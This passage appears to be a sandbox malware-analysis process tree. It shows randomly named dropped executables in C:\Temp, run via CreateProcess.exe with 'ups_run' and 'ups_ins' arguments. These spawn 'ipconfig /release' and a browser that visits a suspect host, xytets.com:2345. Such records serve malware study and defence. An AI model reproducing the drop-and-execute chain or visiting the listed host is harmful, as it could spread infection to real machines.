  - - C:\Temp\i_jgbytrlgey.exe
      C:\Temp\i_jgbytrlgey.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3876
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\gayvqoigdy.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4124
  - - C:\Temp\gayvqoigdy.exe
      C:\Temp\gayvqoigdy.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4196
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:908
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2744
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_gayvqoigdy.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:5612
  - - C:\Temp\i_gayvqoigdy.exe
      C:\Temp\i_gayvqoigdy.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4324
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\tnlfdxvqni.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:3248
  - - C:\Temp\tnlfdxvqni.exe
      C:\Temp\tnlfdxvqni.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5336
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:5080
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1856
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_tnlfdxvqni.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4396
  - - C:\Temp\i_tnlfdxvqni.exe
      C:\Temp\i_tnlfdxvqni.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4968
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\sqkidavtnl.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:2432
  - - C:\Temp\sqkidavtnl.exe
      C:\Temp\sqkidavtnl.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4764
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:3856
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3868
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_sqkidavtnl.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:5032
  - - C:\Temp\i_sqkidavtnl.exe
      C:\Temp\i_sqkidavtnl.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1404
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\kicxvpnhfa.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:1924
  - - C:\Temp\kicxvpnhfa.exe
      C:\Temp\kicxvpnhfa.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3464
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:5448
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2800
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_kicxvpnhfa.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:1872
  - - C:\Temp\i_kicxvpnhfa.exe
      C:\Temp\i_kicxvpnhfa.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4400
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\jhfcauspnh.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:3172
  - - C:\Temp\jhfcauspnh.exe
      C:\Temp\jhfcauspnh.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5776
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:1228
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2396
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_jhfcauspnh.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:5628
  - - C:\Temp\i_jhfcauspnh.exe
      C:\Temp\i_jhfcauspnh.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3276
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\xrpjhbzwrp.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4280
  - - C:\Temp\xrpjhbzwrp.exe
      C:\Temp\xrpjhbzwrp.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1412
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:2656
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2760
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_xrpjhbzwrp.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:1308
  - - C:\Temp\i_xrpjhbzwrp.exe
      C:\Temp\i_xrpjhbzwrp.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4912
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\ztrmjhbzur.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:1404
  - - C:\Temp\ztrmjhbzur.exe
      C:\Temp\ztrmjhbzur.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5320
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:2732
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4424
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_ztrmjhbzur.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:2864
  - - C:\Temp\i_ztrmjhbzur.exe
      C:\Temp\i_ztrmjhbzur.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4744
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\ljeywqomge.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:1572
  - - C:\Temp\ljeywqomge.exe
      C:\Temp\ljeywqomge.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:4400
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:3492
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2356
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_ljeywqomge.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4236
  - - C:\Temp\i_ljeywqomge.exe
      C:\Temp\i_ljeywqomge.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3436
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\dbytqljdbv.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:3000
  - - C:\Temp\dbytqljdbv.exe
      C:\Temp\dbytqljdbv.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:1540
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:4296
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3668
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_dbytqljdbv.exe ups_ins
    3⤵
    PID:416
  - - C:\Temp\i_dbytqljdbv.exe
      C:\Temp\i_dbytqljdbv.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:704
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\vqnlidbvtn.exe ups_run
    3⤵
    PID:4660
  - - C:\Temp\vqnlidbvtn.exe
      C:\Temp\vqnlidbvtn.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:5044
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:1804
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2780
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_vqnlidbvtn.exe ups_ins
    3⤵
    PID:5988
  - - C:\Temp\i_vqnlidbvtn.exe
      C:\Temp\i_vqnlidbvtn.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2220
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\qlidxvtnlf.exe ups_run
    3⤵
    PID:2332
  - - C:\Temp\qlidxvtnlf.exe
      C:\Temp\qlidxvtnlf.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:3452
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:2356
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2524
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_qlidxvtnlf.exe ups_ins
    3⤵
    PID:5872
  - - C:\Temp\i_qlidxvtnlf.exe
      C:\Temp\i_qlidxvtnlf.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5556
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\fdausqkica.exe ups_run
    3⤵
    PID:2292
  - - C:\Temp\fdausqkica.exe
      C:\Temp\fdausqkica.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:3372
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:5040
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:816
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_fdausqkica.exe ups_ins
    3⤵
    PID:3364
  - - C:\Temp\i_fdausqkica.exe
      C:\Temp\i_fdausqkica.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2984
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\causmkecxu.exe ups_run
    3⤵
    PID:3472
  - - C:\Temp\causmkecxu.exe
      C:\Temp\causmkecxu.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:1116
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:5144
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3836
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_causmkecxu.exe ups_ins
    3⤵
    PID:4424
  - - C:\Temp\i_causmkecxu.exe
      C:\Temp\i_causmkecxu.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3076
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\rpmkeczurp.exe ups_run
    3⤵
    PID:4584
  - - C:\Temp\rpmkeczurp.exe
      C:\Temp\rpmkeczurp.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:2860
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:4668
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5192
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_rpmkeczurp.exe ups_ins
    3⤵
    PID:1428
  - - C:\Temp\i_rpmkeczurp.exe
      C:\Temp\i_rpmkeczurp.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:6136
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\wuomhezwup.exe ups_run
    3⤵
    PID:3336
  - - C:\Temp\wuomhezwup.exe
      C:\Temp\wuomhezwup.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:4204
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:4716
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4340
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_wuomhezwup.exe ups_ins
    3⤵
    PID:3024
  - - C:\Temp\i_wuomhezwup.exe
      C:\Temp\i_wuomhezwup.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4752
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\trljhbztrl.exe ups_run
    3⤵
    PID:6068
  - - C:\Temp\trljhbztrl.exe
      C:\Temp\trljhbztrl.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:1904
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:4788
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5524
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_trljhbztrl.exe ups_ins
    3⤵
    PID:1324
  - - C:\Temp\i_trljhbztrl.exe
      C:\Temp\i_trljhbztrl.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1728
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\qoigbywqoj.exe ups_run
    3⤵
    PID:1140
  - - C:\Temp\qoigbywqoj.exe
      C:\Temp\qoigbywqoj.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:4512
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:4144
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:920
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_qoigbywqoj.exe ups_ins
    3⤵
    PID:4312
  - - C:\Temp\i_qoigbywqoj.exe
      C:\Temp\i_qoigbywqoj.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:6020
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:3392
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/t.asp?os=home"
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:5964
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x300,0x7ffa840ec188,0x7ffa840ec194,0x7ffa840ec1a0
      4⤵
      PID:3368
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1996,i,8933248394338203464,9428635017390695598,262144 --field-trial-handle=2416,i,4237212979108753169,13736816762880195920,262144 --variations-seed-version --mojo-platform-channel-handle=2508 /prefetch:2
      4⤵
      PID:1708
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2104,i,4538754671078123558,16359076669984982493,524288 --field-trial-handle=2416,i,4237212979108753169,13736816762880195920,262144 --variations-seed-version --mojo-platform-channel-handle=3152 /prefetch:11
      4⤵
      System Time Discovery
      PID:5268
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2652,i,8563958086221285550,8634331878853189210,524288 --field-trial-handle=2416,i,4237212979108753169,13736816762880195920,262144 --variations-seed-version --mojo-platform-channel-handle=3160 /prefetch:13
      4⤵
      PID:4332
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3600,i,17300320144402752935,17861179348582388189,2097152 --field-trial-handle=2416,i,4237212979108753169,13736816762880195920,262144 --variations-seed-version --mojo-platform-channel-handle=3632 /prefetch:1
      4⤵
      PID:4968
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3620,i,2675334820300320107,14729774884363967983,2097152 --field-trial-handle=2416,i,4237212979108753169,13736816762880195920,262144 --variations-seed-version --mojo-platform-channel-handle=3648 /prefetch:1
      4⤵
      PID:4772
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4272,i,15168830893299099788,5354319530777015566,2097152 --field-trial-handle=2416,i,4237212979108753169,13736816762880195920,262144 --variations-seed-version --mojo-platform-channel-handle=4940 /prefetch:1
      4⤵
      PID:2660
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4312,i,12363329793449258306,11447153001876846945,2097152 --field-trial-handle=2416,i,4237212979108753169,13736816762880195920,262144 --variations-seed-version --mojo-platform-channel-handle=4908 /prefetch:9
      4⤵
      PID:3236
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3768,i,3777698178881474574,8297461560600840701,524288 --field-trial-handle=2416,i,4237212979108753169,13736816762880195920,262144 --variations-seed-version --mojo-platform-channel-handle=3808 /prefetch:14
      4⤵
      PID:936
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5372,i,15414740526600717743,6850818333068000269,524288 --field-trial-handle=2416,i,4237212979108753169,13736816762880195920,262144 --variations-seed-version --mojo-platform-channel-handle=5424 /prefetch:14
      4⤵
      PID:5720
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5388,i,2607528844629482054,14744518663069280186,524288 --field-trial-handle=2416,i,4237212979108753169,13736816762880195920,262144 --variations-seed-version --mojo-platform-channel-handle=3632 /prefetch:14
      4⤵
      PID:6008
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5904,i,9922688470230734765,7469281692375416130,524288 --field-trial-handle=2416,i,4237212979108753169,13736816762880195920,262144 --variations-seed-version --mojo-platform-channel-handle=6148 /prefetch:14
      4⤵
      PID:2388
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5904,i,9922688470230734765,7469281692375416130,524288 --field-trial-handle=2416,i,4237212979108753169,13736816762880195920,262144 --variations-seed-version --mojo-platform-channel-handle=6148 /prefetch:14
      4⤵
      PID:4412
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6308,i,8564203183471845511,10780183950346581094,524288 --field-trial-handle=2416,i,4237212979108753169,13736816762880195920,262144 --variations-seed-version --mojo-platform-channel-handle=6320 /prefetch:14
      4⤵
      PID:4296
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6412,i,4323911069060317164,17881143718562102381,524288 --field-trial-handle=2416,i,4237212979108753169,13736816762880195920,262144 --variations-seed-version --mojo-platform-channel-handle=6396 /prefetch:14
      4⤵
      PID:1516
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1296,i,17498963636258469773,15782134983980931539,524288 --field-trial-handle=2416,i,4237212979108753169,13736816762880195920,262144 --variations-seed-version --mojo-platform-channel-handle=5000 /prefetch:14
      4⤵
      PID:1168
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1300,i,17744098798493056116,2707385789993347519,524288 --field-trial-handle=2416,i,4237212979108753169,13736816762880195920,262144 --variations-seed-version --mojo-platform-channel-handle=1268 /prefetch:14
      4⤵
      PID:3516
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1304,i,17166522409210490941,2967609090766191498,524288 --field-trial-handle=2416,i,4237212979108753169,13736816762880195920,262144 --variations-seed-version --mojo-platform-channel-handle=6164 /prefetch:14
      4⤵
      PID:5000
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4972,i,9696452874279035772,1435800793726617456,524288 --field-trial-handle=2416,i,4237212979108753169,13736816762880195920,262144 --variations-seed-version --mojo-platform-channel-handle=1500 /prefetch:14
      4⤵
      PID:1672
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5504,i,7613665874356036357,8573699724220448641,524288 --field-trial-handle=2416,i,4237212979108753169,13736816762880195920,262144 --variations-seed-version --mojo-platform-channel-handle=6324 /prefetch:14
      4⤵
      PID:5556
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3432,i,13853306473841967028,3723819644218307259,524288 --field-trial-handle=2416,i,4237212979108753169,13736816762880195920,262144 --variations-seed-version --mojo-platform-channel-handle=6360 /prefetch:14
      4⤵
      PID:4744
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
